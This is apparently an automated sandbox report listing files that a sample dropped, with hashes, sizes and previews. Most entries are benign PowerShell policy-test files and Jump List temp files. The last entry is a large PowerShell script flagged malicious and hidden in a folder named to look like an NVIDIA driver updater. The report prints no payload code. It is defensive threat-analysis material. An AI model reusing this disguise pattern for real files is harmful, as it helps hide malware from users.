SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qf2dwqtk.4qt.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rkc3pine.ajb.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rx4eudy2.xlg.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_to332dyb.g1m.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_toy2s0pu.fv4.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ublatxrb.uvt.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vgqtfn4b.uvu.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\bhv4B4.tmp

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x6da2561b, page size 32768, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	20447232
Entropy (8bit):	1.2827249890477794
Encrypted:	false
SSDEEP:	12288:UZSwFSo74KaOfvUDF2j+qW5cLvF5HVwXWF:2S1NDS+
MD5:	69F8EC5752113AB15524AC7E543C7C2C
SHA1:	3083075A45A1604212EF50E31EC2D0BD984C377F
SHA-256:	79164957B2A958D6B595B3D68F6983D87B03E3B6ECB5C384780EC28A56ABBD4C
SHA-512:	F92A908AA7CCC7A1FF2B089A895EC903080377C8EAD8A286AD523A8B8221CFA4764A179FE2CA9EB7D3E8CC7DA7F06032F969442840526FED7B652DC9DF207558
Malicious:	false
Preview:	m.V.... ........=......J}...0...{........................"..........{K......{C.h.$..........................3.s.0...{..............................................................................................c...........eJ......n........................................................................................................... ............{...................................................................................................................................................................................................{;.........................................{c...................b......{C..........................#......h.$.....................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\qpqzbrslzlqmxxqwczcuhtgf

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	Unicode text, UTF-16, little-endian text, with no line terminators
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:Qn:Qn
MD5:	F3B25701FE362EC84616A93A45CE9998
SHA1:	D62636D8CAEC13F04E28442A0A6FA1AFEB024BBB
SHA-256:	B3D510EF04275CA8E698E5B3CBB0ECE3949EF9252F0CDC839E9EE347409A2209
SHA-512:	98C5F56F3DE340690C139E58EB7DAC111979F0D4DFFE9C4B24FF849510F4B6FFA9FD608C0A3DE9AC3C9FD2190F0EFAF715309061490F9755A9BFDF1C54CA0D84
Malicious:	false
Preview:	..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\3IW5OZXGDY3NXEI39FD5.temp

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6221
Entropy (8bit):	3.7304049989621277
Encrypted:	false
SSDEEP:	96:5nxm33CxH5GkvhkvCCty14lTFHp14lTeH8:VxmyZSyeZeR
MD5:	0E567C6FEC650E915360D782F5859EEA
SHA1:	97D704E85604B7563BD62A12521C1194F358A7CA
SHA-256:	AEC1335E2B9FA6608C668C1B98A6FB512CDCC3FF797E05A050CF4090182615F7
SHA-512:	E26D31783A9475F75E37CCB273642977A223CCE7BAAB266AD6A4899B8D7ED0EE3ABA774EAD1BA72D8D94479649BB1D5A1AC8C2AEB35862A3C1F51AFC3F72E1A8
Malicious:	false
Preview:	...................................FL..................F.".. ...-/.v....)..@....z.:{.............................:..DG..Yr?.D..U..k0.&...&......vk.v.....h.89$.....I9$......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^VY."...........................%..A.p.p.D.a.t.a...B.V.1.....VY%"..Roaming.@......CW.^VY%"..........................f...R.o.a.m.i.n.g.....\.1.....DW.N..MICROS~1..D......CW.^VY "..........................9D..M.i.c.r.o.s.o.f.t.....V.1.....DWP`..Windows.@......CW.^DWP`..............................W.i.n.d.o.w.s.......1.....CW.^..STARTM~1..n......CW.^DW.`....................D.....=X..S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....DW.N..Programs..j......CW.^DW.`....................@.........P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......CW.^DW.`..........................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......CW.^DW.V....Q...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\3PU3L4BZ4AWSD36U3C1A.temp

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6221
Entropy (8bit):	3.72990466722989
Encrypted:	false
SSDEEP:	96:IeF/2VJ43CMvcGkvhkvCCty14lTeHp14lTeH8:zeJyUSyeeeR
MD5:	C30EE93FB44F2E9CB000750759B229D6
SHA1:	802F01EC56F2393CDE58F12FA4EF989E141FBF66
SHA-256:	60F20FD4F52A6BA5044236DD45F9F7E400BA710CF9657F1639DBFD5D5BEBEC9B
SHA-512:	330BB969FF72B93B298375D5593397E938BF39DE07C8A9742716E32C7F643E99D4313D37FC01C25D867349EE5E2785FD3DB73A0830B8E91FEAA7ED59B709A217
Malicious:	false
Preview:	...................................FL..................F.".. ...-/.v.....v.K9$..z.:{.............................:..DG..Yr?.D..U..k0.&...&......vk.v.....h.89$...VV9$......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^VY."...........................%..A.p.p.D.a.t.a...B.V.1.....VY/"..Roaming.@......CW.^VY/"..........................i`(.R.o.a.m.i.n.g.....\.1.....DW.N..MICROS~1..D......CW.^VY "..........................9D..M.i.c.r.o.s.o.f.t.....V.1.....DWP`..Windows.@......CW.^VY+"..............................W.i.n.d.o.w.s.......1.....CW.^..STARTM~1..n......CW.^VY+"....................D.....=X..S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....DW.N..Programs..j......CW.^VY+"....................@.........P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......CW.^VY+"..........................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......CW.^VY,"....Q...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms (copy)

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6221
Entropy (8bit):	3.7304049989621277
Encrypted:	false
SSDEEP:	96:5nxm33CxH5GkvhkvCCty14lTFHp14lTeH8:VxmyZSyeZeR
MD5:	0E567C6FEC650E915360D782F5859EEA
SHA1:	97D704E85604B7563BD62A12521C1194F358A7CA
SHA-256:	AEC1335E2B9FA6608C668C1B98A6FB512CDCC3FF797E05A050CF4090182615F7
SHA-512:	E26D31783A9475F75E37CCB273642977A223CCE7BAAB266AD6A4899B8D7ED0EE3ABA774EAD1BA72D8D94479649BB1D5A1AC8C2AEB35862A3C1F51AFC3F72E1A8
Malicious:	false
Preview:	...................................FL..................F.".. ...-/.v....)..@....z.:{.............................:..DG..Yr?.D..U..k0.&...&......vk.v.....h.89$.....I9$......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^VY."...........................%..A.p.p.D.a.t.a...B.V.1.....VY%"..Roaming.@......CW.^VY%"..........................f...R.o.a.m.i.n.g.....\.1.....DW.N..MICROS~1..D......CW.^VY "..........................9D..M.i.c.r.o.s.o.f.t.....V.1.....DWP`..Windows.@......CW.^DWP`..............................W.i.n.d.o.w.s.......1.....CW.^..STARTM~1..n......CW.^DW.`....................D.....=X..S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....DW.N..Programs..j......CW.^DW.`....................@.........P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......CW.^DW.`..........................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......CW.^DW.V....Q...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF51e45b.TMP (copy)

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6221
Entropy (8bit):	3.7304049989621277
Encrypted:	false
SSDEEP:	96:5nxm33CxH5GkvhkvCCty14lTFHp14lTeH8:VxmyZSyeZeR
MD5:	0E567C6FEC650E915360D782F5859EEA
SHA1:	97D704E85604B7563BD62A12521C1194F358A7CA
SHA-256:	AEC1335E2B9FA6608C668C1B98A6FB512CDCC3FF797E05A050CF4090182615F7
SHA-512:	E26D31783A9475F75E37CCB273642977A223CCE7BAAB266AD6A4899B8D7ED0EE3ABA774EAD1BA72D8D94479649BB1D5A1AC8C2AEB35862A3C1F51AFC3F72E1A8
Malicious:	false
Preview:	...................................FL..................F.".. ...-/.v....)..@....z.:{.............................:..DG..Yr?.D..U..k0.&...&......vk.v.....h.89$.....I9$......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^VY."...........................%..A.p.p.D.a.t.a...B.V.1.....VY%"..Roaming.@......CW.^VY%"..........................f...R.o.a.m.i.n.g.....\.1.....DW.N..MICROS~1..D......CW.^VY "..........................9D..M.i.c.r.o.s.o.f.t.....V.1.....DWP`..Windows.@......CW.^DWP`..............................W.i.n.d.o.w.s.......1.....CW.^..STARTM~1..n......CW.^DW.`....................D.....=X..S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....DW.N..Programs..j......CW.^DW.`....................@.........P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......CW.^DW.`..........................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......CW.^DW.V....Q...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF52061b.TMP (copy)

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6221
Entropy (8bit):	3.7304049989621277
Encrypted:	false
SSDEEP:	96:5nxm33CxH5GkvhkvCCty14lTFHp14lTeH8:VxmyZSyeZeR
MD5:	0E567C6FEC650E915360D782F5859EEA
SHA1:	97D704E85604B7563BD62A12521C1194F358A7CA
SHA-256:	AEC1335E2B9FA6608C668C1B98A6FB512CDCC3FF797E05A050CF4090182615F7
SHA-512:	E26D31783A9475F75E37CCB273642977A223CCE7BAAB266AD6A4899B8D7ED0EE3ABA774EAD1BA72D8D94479649BB1D5A1AC8C2AEB35862A3C1F51AFC3F72E1A8
Malicious:	false
Preview:	...................................FL..................F.".. ...-/.v....)..@....z.:{.............................:..DG..Yr?.D..U..k0.&...&......vk.v.....h.89$.....I9$......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^VY."...........................%..A.p.p.D.a.t.a...B.V.1.....VY%"..Roaming.@......CW.^VY%"..........................f...R.o.a.m.i.n.g.....\.1.....DW.N..MICROS~1..D......CW.^VY "..........................9D..M.i.c.r.o.s.o.f.t.....V.1.....DWP`..Windows.@......CW.^DWP`..............................W.i.n.d.o.w.s.......1.....CW.^..STARTM~1..n......CW.^DW.`....................D.....=X..S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....DW.N..Programs..j......CW.^DW.`....................@.........P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......CW.^DW.`..........................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......CW.^DW.V....Q...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF522849.TMP (copy)

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6221
Entropy (8bit):	3.7304049989621277
Encrypted:	false
SSDEEP:	96:5nxm33CxH5GkvhkvCCty14lTFHp14lTeH8:VxmyZSyeZeR
MD5:	0E567C6FEC650E915360D782F5859EEA
SHA1:	97D704E85604B7563BD62A12521C1194F358A7CA
SHA-256:	AEC1335E2B9FA6608C668C1B98A6FB512CDCC3FF797E05A050CF4090182615F7
SHA-512:	E26D31783A9475F75E37CCB273642977A223CCE7BAAB266AD6A4899B8D7ED0EE3ABA774EAD1BA72D8D94479649BB1D5A1AC8C2AEB35862A3C1F51AFC3F72E1A8
Malicious:	false
Preview:	...................................FL..................F.".. ...-/.v....)..@....z.:{.............................:..DG..Yr?.D..U..k0.&...&......vk.v.....h.89$.....I9$......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^VY."...........................%..A.p.p.D.a.t.a...B.V.1.....VY%"..Roaming.@......CW.^VY%"..........................f...R.o.a.m.i.n.g.....\.1.....DW.N..MICROS~1..D......CW.^VY "..........................9D..M.i.c.r.o.s.o.f.t.....V.1.....DWP`..Windows.@......CW.^DWP`..............................W.i.n.d.o.w.s.......1.....CW.^..STARTM~1..n......CW.^DW.`....................D.....=X..S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....DW.N..Programs..j......CW.^DW.`....................@.........P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......CW.^DW.`..........................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......CW.^DW.V....Q...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF5248d1.TMP (copy)

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6221
Entropy (8bit):	3.7304049989621277
Encrypted:	false
SSDEEP:	96:5nxm33CxH5GkvhkvCCty14lTFHp14lTeH8:VxmyZSyeZeR
MD5:	0E567C6FEC650E915360D782F5859EEA
SHA1:	97D704E85604B7563BD62A12521C1194F358A7CA
SHA-256:	AEC1335E2B9FA6608C668C1B98A6FB512CDCC3FF797E05A050CF4090182615F7
SHA-512:	E26D31783A9475F75E37CCB273642977A223CCE7BAAB266AD6A4899B8D7ED0EE3ABA774EAD1BA72D8D94479649BB1D5A1AC8C2AEB35862A3C1F51AFC3F72E1A8
Malicious:	false
Preview:	...................................FL..................F.".. ...-/.v....)..@....z.:{.............................:..DG..Yr?.D..U..k0.&...&......vk.v.....h.89$.....I9$......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^VY."...........................%..A.p.p.D.a.t.a...B.V.1.....VY%"..Roaming.@......CW.^VY%"..........................f...R.o.a.m.i.n.g.....\.1.....DW.N..MICROS~1..D......CW.^VY "..........................9D..M.i.c.r.o.s.o.f.t.....V.1.....DWP`..Windows.@......CW.^DWP`..............................W.i.n.d.o.w.s.......1.....CW.^..STARTM~1..n......CW.^DW.`....................D.....=X..S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....DW.N..Programs..j......CW.^DW.`....................@.........P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......CW.^DW.`..........................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......CW.^DW.V....Q...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\HM2VBND1UF4SDW4A67CK.temp

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6221
Entropy (8bit):	3.7296298967758137
Encrypted:	false
SSDEEP:	96:I6F/2VJ43CMvcGkvhkvCCty14lTeHp14lTeH8:zeJyUSyeeeR
MD5:	D9F3CADFF0EA70898F92A28D99AE4541
SHA1:	9F2945974FF14101AA852E5F0AB4FB10D7792719
SHA-256:	18DD10C4EF97793ECAA6CF972E1B879DCC38D4CEF09301195C4DA1F41F46CB1F
SHA-512:	A579FC03F7FA06A94B43F563AF790A6B486B30EBA87F3B916B4455E8B4E2F037ED675CA08BC780D7F00E8B0CE92CE6EA65D3FBF247744BB12C3BC773CC0E807F
Malicious:	false
Preview:	...................................FL..................F.".. ...-/.v.....v.K9$..z.:{.............................:..DG..Yr?.D..U..k0.&...&......vk.v.....h.89$..@.O[9$......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^VY."...........................%..A.p.p.D.a.t.a...B.V.1.....VY/"..Roaming.@......CW.^VY/"..........................i`(.R.o.a.m.i.n.g.....\.1.....DW.N..MICROS~1..D......CW.^VY "..........................9D..M.i.c.r.o.s.o.f.t.....V.1.....DWP`..Windows.@......CW.^VY+"..............................W.i.n.d.o.w.s.......1.....CW.^..STARTM~1..n......CW.^VY+"....................D.....=X..S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....DW.N..Programs..j......CW.^VY+"....................@.........P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......CW.^VY+"..........................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......CW.^VY,"....Q...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\KZUUCR01O0HLZOS0XNZD.temp

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6221
Entropy (8bit):	3.7304438473090666
Encrypted:	false
SSDEEP:	96:I0F/2VJ43CMvcGkvhkvCCty14lTeHp14lTeH8:VeJyUSyeeeR
MD5:	36D36D173CAD522EFEE86C1FCA244D83
SHA1:	DBAD10F22BA6A7C3970C0E2833E5BFB9E6429895
SHA-256:	AA8E596E7AE78C62F89DEFAB736F5293DBE9D2E68DECD407858BE43433F65958
SHA-512:	BF1A330E3B4727FB4EA8BAC7BE06F0244C401ACC867CCAB32CB6BCB870A84728A1235DED573A5F46C55D72ADBF1CEFCF6A4D934F9B668350895D733E7104C201
Malicious:	false
Preview:	...................................FL..................F.".. ...-/.v.....v.K9$..z.:{.............................:..DG..Yr?.D..U..k0.&...&......vk.v.....h.89$.....Q9$......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^VY."...........................%..A.p.p.D.a.t.a...B.V.1.....VY/"..Roaming.@......CW.^VY/"..........................i`(.R.o.a.m.i.n.g.....\.1.....DW.N..MICROS~1..D......CW.^VY "..........................9D..M.i.c.r.o.s.o.f.t.....V.1.....DWP`..Windows.@......CW.^VY+"..............................W.i.n.d.o.w.s.......1.....CW.^..STARTM~1..n......CW.^VY+"....................D.....=X..S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....DW.N..Programs..j......CW.^VY+"....................@.........P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......CW.^VY+"..........................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......CW.^VY,"....Q...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\QZ0948YFXWA39YB1K9IS.temp

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6221
Entropy (8bit):	3.7301941477875236
Encrypted:	false
SSDEEP:	96:IbxJ43CMvcGkvhkvCCty14lTeHp14lTeH8:+xJyUSyeeeR
MD5:	122A9B9FCC56970A0E7DA3A81BF6040A
SHA1:	C395D52B94822380718B027013240E898DC0DDB8
SHA-256:	D8379069B658664695D586B73DAA6C08B9CCE2D3404F52F522446A18A7E27518
SHA-512:	6166BBE0FB4CD102DB513A64B662FBC7E3D6C1FF150A6865224E4F32C47C411BC2E6F9DD95C03DCF592984B31751673C643AAD3EFFD91D902D5648D551200F41
Malicious:	false
Preview:	...................................FL..................F.".. ...-/.v.....v.K9$..z.:{.............................:..DG..Yr?.D..U..k0.&...&......vk.v.....h.89$....K9$......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^VY."...........................%..A.p.p.D.a.t.a...B.V.1.....VY%"..Roaming.@......CW.^VY%"..........................f...R.o.a.m.i.n.g.....\.1.....DW.N..MICROS~1..D......CW.^VY "..........................9D..M.i.c.r.o.s.o.f.t.....V.1.....DWP`..Windows.@......CW.^VY+"..............................W.i.n.d.o.w.s.......1.....CW.^..STARTM~1..n......CW.^VY+"....................D.....=X..S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....DW.N..Programs..j......CW.^VY+"....................@.........P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......CW.^VY+"..........................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......CW.^VY,"....Q...........

C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\qkbrq.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-16, little-endian text, with very long lines (32626)
Category:	dropped
Size (bytes):	1972354
Entropy (8bit):	3.8503551024098552
Encrypted:	false
SSDEEP:	12288:u/bDLzGUTBJpHXd2KP9Mw9On3vft7AJe922sSmZEVEhgpAWtc96jXbgCeppLOCHb:y9zBGnaf1WijzF
MD5:	C008884C5CC200DD287C6F6346CBB7C1
SHA1:	CCF7B1BAD818C7B2C7E0E40434FA45983F3140EE
SHA-256:	5938A76E698A7719E9F2EF619390CE9247DD9C2E1554CAF9CE832397A29C5E6A
SHA-512:	AACBB1F7EDC88D2850945167AD140AA4F194AC1DCCA2355478A94731023C5EBFEC65D7CD6AD6602098A90DEEB10CF0D972E86A725BDD88B9F75C92D6A5F934B3
Malicious:	true
